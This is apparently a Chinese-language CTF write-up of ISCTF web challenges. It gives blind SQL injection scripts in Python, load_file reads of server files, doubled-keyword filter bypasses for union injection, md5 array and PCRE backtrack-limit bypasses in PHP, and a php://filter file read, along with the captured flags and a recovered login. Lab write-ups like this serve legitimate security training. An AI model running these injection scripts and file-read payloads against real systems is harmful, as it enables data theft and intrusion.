1z_Ssql(sql注入) username=1' or 1=1# //illegal words! username=1'# //用户名或密码错误 username=-1' or 1 order by 3# //回显You are so smart! Let me give you a hint ↓ 5aSn5L2s77yM5L2g6L+Z5LmI6IGq5piO5bqU6K+l5LiN6ZyA6KaBaGludOWQpz8=,但是没用,说明等号被过滤了 username=-1' or 1 order by 4# //用户名或密码错误 username=-1' union select 1,2,3# //illegal words! username=union //illegal words!,尝试后双写和大写都不能绕过 username=select //用户名或密码错误 尝试布尔盲注 username=0' or if(substr(database(),1,1)=c,true,false) //测出来=,like都被过滤了
这里没思路了,扫目录发现/robots.txt
,访问可得/here_is_a_sercet.php
,得到源码
<?php highlight_file ("here_is_a_sercet.php" );function waf ($str ) { $black_list = "762V08zk+xrmKxIFrdJIJj6ULvI8Lc0pX39LjDyIUb0eAGkZe4KQa87TJXuqnFw0u/669wWRsqYFya812FtULw9+tpiGlaH2gleDfDKzr+g=" ; if (preg_match ($black_list ,$str )){ die ("<h4>illegal words!</h4>" ); } return $str ; } ?>
这里看wp才知道涉及到sm4加密
const SM4 = require ("gm-crypt" ).sm4 ;var payload = "xxx" ;let sm4Config = { key : "B6*40.2_C9#e4$E3" , mode : "ecb" , cipherType : "base64" }; let sm4 = new SM4 (sm4Config);var result = sm4.decrypt (payload);console .log ("瑙e瘑:" + result)
源码即为
<?php highlight_file ("here_is_a_sercet.php" );function waf ($str ) { $black_list = "/union|=|+|sleep|benchmark|for|where|sys|innodb|is|null|like|/*|*//i" ; if (preg_match ($black_list ,$str )){ die ("<h4>illegal words!</h4>" ); } return $str ; } ?>
法一:布尔盲注 由于可知道用二分法查找来实现布尔盲注,利用成功查询的那个hint来实现盲注,注意,黑名单中有for,不能使用information_schema
这个库
import requestsdef force (url ): find='' for i in range (1 ,200 ): found_char=False left,right=32 ,127 while left<right: mid=(left+right)//2 payload = { "username" :f"1' or (ascii(substr((database()),{i} ,1))>{mid} )#" , "password" :"1" , "submit" :"%E7%99%BB%E5%BD%95" } r=requests.post(url=url,data=payload).text if ('hint' in r): left=mid+1 else : right=mid if left>32 : find += chr (left) print (find) found_char = True if not found_char: print ("未找到更多字符,库名为" +find) break def force1 (url ): find='' for i in range (1 ,200 ): found_char=False left,right=32 ,127 while left<right: mid=(left+right)//2 payload = { "username" :f"1' or (ascii(substr((select group_concat(username) from bthcls.users),{i} ,1))>{mid} )#" , "password" :"1" , "submit" :"%E7%99%BB%E5%BD%95" } r=requests.post(url=url,data=payload).text if ('hint' in r): left=mid+1 else : right=mid if left>32 : find += chr (left) print (find) found_char = True if not found_char: print ("未找到更多字符,结果为" +find) break if __name__ =="__main__" : url='http://gz.imxbt.cn:20502' force(url) force1(url)
这里看了wp,说的要利用题目给的附件来进行爆破,得到表名和列名,但是没附件,就只能直接盲注,更改最后查询语句中username
为password
可得到密码
最后用admin
和we1come7o1sctf
成功登录就能回显flag
法二:loadfile
读index.php
文件 首先先看下用户权限
import requestsdef force (url ): find='' for i in range (1 ,500 ): found_char=False left,right=32 ,127 while left<right: mid=(left+right)//2 payload = { "username" :f"1' or (ascii(substr((select user()),{i} ,1))>{mid} )#" , "password" :"1" , "submit" :"%E7%99%BB%E5%BD%95" } r=requests.post(url=url,data=payload).text if ('hint' in r): left=mid+1 else : right=mid if left>32 : find += chr (left) print (find) found_char = True if not found_char: print ("未找到更多字符,结果为" +find) break if __name__ =="__main__" : url='http://gz.imxbt.cn:20502' force(url)
是以root身份登录到mysql的,可以load_file读取任意本地文件
看启动文件start.sh
,用loadfile
读,注意这里要更改取值边界范围
import requestsdef force (url ): find='' for i in range (1 ,500 ): found_char=False left,right=0 ,128 while left<right: mid=(left+right)//2 payload = { "username" :f"1' or (ascii(substr((load_file('/start.sh')),{i} ,1))>{mid} )#" , "password" :"1" , "submit" :"%E7%99%BB%E5%BD%95" } r=requests.post(url=url,data=payload).text if ('hint' in r): left=mid+1 else : right=mid find += chr (left) print (find) found_char = True if not found_char: print ("未找到更多字符,结果为" +find) break if __name__ =="__main__" : url='http://gz.imxbt.cn:20502' force(url)
可以看到它把flag写入到了index.php,且泄露出了其绝对路径,直接load_file读
import requestsdef force (url ): find='' for i in range (1 ,500 ): found_char=False left,right=0 ,128 while left<right: mid=(left+right)//2 payload = { "username" :f"1' or (ascii(substr((load_file('/var/www/localhost/htdocs/index.php')),{i} ,1))>{mid} )#" , "password" :"1" , "submit" :"%E7%99%BB%E5%BD%95" } r=requests.post(url=url,data=payload).text if ('hint' in r): left=mid+1 else : right=mid find += chr (left) print (find) found_char = True if not found_char: print ("未找到更多字符,结果为" +find) break if __name__ =="__main__" : url='http://gz.imxbt.cn:20502' force(url)
但是爆了半个小时没出来,理论成立
绕进你的心里(php特性) <?php highlight_file (__FILE__ );error_reporting (0 );require 'flag.php' ;$str = (String)$_POST ['pan_gu' ];$num = $_GET ['zhurong' ];$lida1 = $_GET ['hongmeng' ];$lida2 = $_GET ['shennong' ];if ($lida1 !== $lida2 && md5 ($lida1 ) === md5 ($lida2 )){ echo "md5绕过了!" ; if (preg_match ("/[0-9]/" , $num )){ die ('你干嘛?哎哟!' ); } elseif (intval ($num )){ if (preg_match ('/.+?ISCTF/is' , $str )){ die ("再想想!" ); } if (stripos ($str , '2023ISCTF' ) === false ){ die ("就差一点点啦!" ); } echo $flag ; } } ?>
数组绕过MD5,intval() 转换数组类型时,不关心数组中的内容,只判断数组中有没有元素。PCRE回溯次数限制绕过
来绕过preg_match()
函数的检测
preg_match
函数处理的字符长度有限,如果超过这个长度就会返回false也就是没有匹配到。
hongmeng[]=1&shennong[]=2&zhurong[]=2023ISCTF
import requests url = "http://gz.imxbt.cn:20524//?hongmeng[]=1&shennong[]=2&zhurong[]=a" data = { 'pan_gu' : 'aaaaaaaaaa' * 250000 + '2023ISCTF' } r = requests.post(url, data=data) print (r.text)
easy_website(sql注入) 还是sql注入
username=1' or 1=1# //根据报错发现空格,or被过滤 username=1'/**/||1# //登录成功 username=1'/**/order/**/by/**/4# //发现or被过滤 username=1'/**/oorrder/**/by/**/4# //错误列数 username=1'/**/oorrder/**/by/**/1# //用户名或密码错误 username=1'/**/union/**/select/**/database()# //union和select都被过滤 username=1'/**/uunionnion/**/sselectelect/**/1# //成功登录,1为回显位 username=1'/**/uunionnion/**/sselectelect/**/database()# //users username=1'/**/uunionnion/**/sselectelect/**/(seselectlect/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='users')# //users username=1'/**/uunionnion/**/sselectelect/**/(seselectlect/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='users')# //id,username,password,ip,time,user,password username=1'/**/uunionnion/**/sselectelect/**/(seselectlect/**/group_concat(passwoorrd)/**/from/**/users)# //ISCTF{6da56c3d-73fe-43f4-bdda-832edc9d1736}
webinclude 扫目录发现备份文件/index.bak
,获得源码如下
function string_to_int_array (str) { const intArr = []; for (let i=0 ;i<str.length;i++){ const charcode = str.charCodeAt(i); const partA = Math.floor(charcode / 26 ); const partB = charcode % 26 ; intArr.push(partA); intArr.push(partB); } return intArr; } function int_array_to_text (int_array) { let txt = '' ; for (let i=0 ;i<int_array.length;i++){ txt += String.fromCharCode(97 + int_array[i]); } return txt; } const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(parameter))));if (hash === 'dxdydxdudxdtdxeadxekdxea' ){ window.location = 'flag.html' ; }else { document.getElementById('fail' ).style.display = '' ; }
直接写个解码脚本,获得原始参数为mihoyo
,直接伪协议读取就行
def int_array_to_text (int_array ): return '' .join(chr (97 + i) for i in int_array) def text_to_int_array (text ): return [ord (c) - 97 for c in text] def reverse_string_to_int_array (int_array ): result = [] for i in range (0 , len (int_array), 2 ): partA = int_array[i] partB = int_array[i + 1 ] original_char_code = partA * 26 + partB result.append(original_char_code) return '' .join(chr (code) for code in result) hash_value = "dxdydxdudxdtdxeadxekdxea" int_array_from_hash = text_to_int_array(hash_value) intermediate_str = reverse_string_to_int_array(int_array_from_hash) final_parameter = reverse_string_to_int_array(text_to_int_array(intermediate_str)) print ("原始参数 (parameter):" , final_parameter)
mihoyo=php://filter/read=convert.base64-encode/resource=flag.php
$flag = “ISCTF{00b0c051-8782-48b7-9c65-fc8686418395}”;